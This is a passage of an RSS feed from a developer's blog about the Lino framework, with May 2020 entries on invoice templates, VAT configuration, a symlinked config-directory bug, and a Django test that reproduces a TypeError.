&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;logo_file&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="n"&gt;mm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;margin&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="n"&gt;mm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;margin&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bottom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="n"&gt;mm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nd"&gt;@top&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="n"&gt;mm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="n"&gt;mm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="p"&gt;{{&lt;/span&gt;&lt;span class="n"&gt;logo_file&lt;/span&gt;&lt;span class="p"&gt;}});&lt;/span&gt;
  &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="n"&gt;background&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;contain&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="p"&gt;{{&lt;/span&gt;&lt;span class="n"&gt;logo_file&lt;/span&gt;&lt;span class="p"&gt;}});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="n"&gt;mm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;margin&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="n"&gt;mm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;margin&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bottom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="n"&gt;mm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;endif&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This logo, &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;weasyprint/logo.jpg&lt;/span&gt;&lt;/code&gt;,
has a size of 336 x 195 pixels and a resolution of 72ppi.
So the physical height is about 69 mm (195 / 72 * 25.4).&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0522.html</guid><pubDate>Fri, 22 May 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, May 21, 2020</title><link>https://luc.lino-framework.org/blog/2020/0521.html</link><description>&lt;section id="thursday-may-21-2020"&gt;
&lt;h1&gt;Thursday, May 21, 2020&lt;a class="headerlink" href="#thursday-may-21-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3652"&gt;#3652&lt;/a&gt;.
Steve made me discover a design bug in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#module-lino_xl.lib.vat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;: the &lt;cite&gt;item_vat&lt;/cite&gt;
option (whether we want to include VAT in the price of the items of an invoice)
does not depend on the &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-VAT-regime" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;VAT regime&lt;/span&gt;&lt;/a&gt;. My solution at the moment is to have
it configurable as a plugin attribute, i.e. globally per site.  This works for
now. Though it is maybe also not the final solution because we might get a
customer who wants certain invoices with &lt;cite&gt;item_vat&lt;/cite&gt; set to True and others with
&lt;cite&gt;item_vat&lt;/cite&gt; set to False. Maybe it should become a database field on Journal. But
it’s too early for a decision.  Let’s leave this question open until we have
such a customer.&lt;/p&gt;
&lt;p&gt;This caused some work for adapting the test cases because  most invoices now
have a bigger amount.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/projects/cosi1.html#specs-cosi-cosi1" title="(in Lino Developer Guide)"&gt;&lt;span&gt;cosi1 : A Lino Così for Belgium (DE)&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;section id="how-to-edit-the-invoice-template"&gt;
&lt;h2&gt;How to edit the invoice template&lt;a class="headerlink" href="#how-to-edit-the-invoice-template" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Steve wants to be able to configure himself his invoice template. &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3656"&gt;#3656&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;First step : make a local copy of the relevant templates:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go mysite
$ cp -a env/lib/python3.6/site-packages/lino_xl/lib/trading/config .
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="lino-doesn-t-find-the-local-config-dir"&gt;
&lt;h2&gt;Lino doesn’t find the local config dir&lt;a class="headerlink" href="#lino-doesn-t-find-the-local-config-dir" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I discovered that Lino doesn’t find the local &lt;a class="reference external" href="https://dev.lino-framework.org/dev/config_dirs.html#xfile-config" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;config&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; directory for
switcom.  &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3657"&gt;#3657&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In weleup this bug doesn’t come out because the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/config_dirs.html#xfile-config" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;config&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; subdir of the
project directory is actually a symbolic link:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ ls -ld config
lrwxrwxrwx 1 lsaffre  www-data     19 Sep 28  2018 config -&amp;gt; media/webdav/config
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In that case the &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;os.path.isdir()&lt;/span&gt;&lt;/code&gt; returns &lt;cite&gt;False&lt;/cite&gt;, which
I obviously ignored when I wrote
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.get_settings_subdirs" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.get_settings_subdirs()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
We definitively should resolve symbolic links before asking whether it is a directory.
This second bug made that the first didn’t come out.&lt;/p&gt;
&lt;p&gt;One thing is clear : the local config directory should come first.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0521.html</guid><pubDate>Thu, 21 May 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, May 19, 2020</title><link>https://luc.lino-framework.org/blog/2020/0519.html</link><description>&lt;section id="tuesday-may-19-2020"&gt;
&lt;h1&gt;Tuesday, May 19, 2020&lt;a class="headerlink" href="#tuesday-may-19-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="lino-noi-may-2020-sprint"&gt;
&lt;h2&gt;Lino Noi May 2020 sprint&lt;a class="headerlink" href="#lino-noi-may-2020-sprint" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I started working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3301"&gt;#3301&lt;/a&gt; (Implement service reports as invoices).&lt;/p&gt;
&lt;p&gt;The basic implementation was surprisingly easy, which demonstrates once more how
flexible &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.invoicing.html#module-lino_xl.lib.invoicing" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.invoicing&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is.  Changes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Added several plugins to &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt;: &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.invoicing.html#module-lino_xl.lib.invoicing" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.invoicing&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.trading.html#module-lino_xl.lib.trading" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.trading&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;New plugin &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.products&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A &lt;a class="reference external" href="https://dev.lino-framework.org/specs/working.html#lino_xl.lib.working.Session" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.working.Session&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now inherits from &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.InvoiceGenerator" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.invoicing.InvoiceGenerator&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Renamed &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.products.PriceRule.event_type&lt;/span&gt;&lt;/code&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/products.html#lino_xl.lib.products.PriceRule.selector" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.products.PriceRule.selector&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;New plugin attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.products.Plugin.price_selector&lt;/span&gt;&lt;/code&gt; which defaults to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;'cal.EventType'&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.InvoiceGenerator.get_invoiceable_qty" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.invoicing.InvoiceGenerator.get_invoiceable_qty()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; may now return &lt;cite&gt;None&lt;/cite&gt; (which means that no item should generated)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are detail devils to fix before we can actually use this new feature for
sending service reports:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The invoiced date range must be on the invoice&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Each invoice item must show at least the ticket numbers&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The invoice should also include a description of the tickets and sites that
are being invoiced.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While I was there (anyway we will need to migrate the PriceRule model), let’s
also rename &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;PriceRule.fee&lt;/span&gt;&lt;/code&gt; to
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/products.html#lino_xl.lib.products.PriceRule.product" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.products.PriceRule.product&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. And then, of course
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_rule_fee()&lt;/span&gt;&lt;/code&gt; to something else… let’s say &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_ruled_price()&lt;/span&gt;&lt;/code&gt;.
This merely linguistic change took me another couple of hours of work because I
also reviewed documentation about these topics.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0519.html</guid><pubDate>Tue, 19 May 2020 00:00:00 +0000</pubDate></item><item><title>Monday, May 18, 2020</title><link>https://luc.lino-framework.org/blog/2020/0518.html</link><description>&lt;section id="monday-may-18-2020"&gt;
&lt;h1&gt;Monday, May 18, 2020&lt;a class="headerlink" href="#monday-may-18-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;(just some unfinished notes)&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.youtube.com/watch?v=zrl3sjL9ORA"&gt;https://www.youtube.com/watch?v=zrl3sjL9ORA&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Types of people who use Lino as a framework:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;hosting provider&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;site owner (main user –&amp;gt; end users)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;application developer&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;application carrier&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Different perspectives (views):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Use case view : Behaviour as seen by end users, analysts and testers.
Purpose : shapes the system architecture.
–&amp;gt; Use case diagram
–&amp;gt; Interaction diagram, Activity diagram&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Design view : Vocabulary and Functionality. Database models, tables.
Purpose : Support functional requirements.
–&amp;gt; Class and object diagram
–&amp;gt; Interaction diagram, Statechart diagram, Activity diagram&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Implementation view : System assembly, configuration management&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Process view : performance, scalability, throughput&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Deployment view : System topology, distribution delivery, installation&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Use Case Diagram : &lt;a class="reference external" href="https://youtu.be/zid-MVo7M-E"&gt;https://youtu.be/zid-MVo7M-E&lt;/a&gt;
System, Actor, Use Case, Relationship&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://de.wikipedia.org/wiki/Unified_Modeling_Language"&gt;https://de.wikipedia.org/wiki/Unified_Modeling_Language&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;actions
activities&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://build-me-the-docs-please.readthedocs.io/en/latest/Using_Sphinx/UsingGraphicsAndDiagramsInSphinx.html"&gt;https://build-me-the-docs-please.readthedocs.io/en/latest/Using_Sphinx/UsingGraphicsAndDiagramsInSphinx.html&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0518.html</guid><pubDate>Mon, 18 May 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, May 13, 2020</title><link>https://luc.lino-framework.org/blog/2020/0513.html</link><description>&lt;section id="wednesday-may-13-2020"&gt;
&lt;h1&gt;Wednesday, May 13, 2020&lt;a class="headerlink" href="#wednesday-may-13-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="typeerror-must-be-str-not-proxy"&gt;
&lt;h2&gt;TypeError: must be str, not &lt;cite&gt;__proxy__&lt;/cite&gt;&lt;a class="headerlink" href="#typeerror-must-be-str-not-proxy" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3637"&gt;#3637&lt;/a&gt; because it is probably a regression (and they just
didn’t yet report it).&lt;/p&gt;
&lt;p&gt;First step : can I reproduce it manually?  go avanti1 and then try. Yep. Got to
some course, open the detail, click on the first calendar entry that is in state
“?”. Some guests are still invited. Click on “Took place”. There it is.
The users sees “Bad Request. TypeError: must be str, not __proxy__”&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;I note the request URL:&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a class="reference external" href="http://127.0.0.1:8000/api/cal/OneEvent/200?_dc=1589335910278&amp;amp;lv=1589020882.721552&amp;amp;an=wf3"&gt;http://127.0.0.1:8000/api/cal/OneEvent/200?_dc=1589335910278&amp;amp;lv=1589020882.721552&amp;amp;an=wf3&lt;/a&gt;&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Second step : write a test that reproduces it automatically.  (1) Find an
existing test that does something similar. Search for &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_*.py&lt;/span&gt;&lt;/code&gt; files
that contain “cal.Event”.  I chose &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_delete_veto.py&lt;/span&gt;&lt;/code&gt; in
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.min9&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I remove the &lt;cite&gt;_dc=1589335910278&amp;amp;lv=1589020882.721552&lt;/cite&gt; params from the GET
request because they would disturb, and they are not needed.  The following code
in my test reproduces the problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.utils.instantiator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;create_row&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;create&lt;/span&gt;


&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;root&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;en&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;900&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_root&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;force_login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;p1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;avanti&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;first_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;John&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Doe&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;full_clean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;evt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;full_clean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;guest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Guest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;partner&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;guest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;full_clean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;guest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;


&lt;span class="n"&gt;utpl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/api/cal/OneEvent/&lt;/span&gt;&lt;span class="si"&gt;{0}&lt;/span&gt;&lt;span class="s2"&gt;?&amp;amp;an=wf3&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;utpl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;REMOTE_USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;root&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
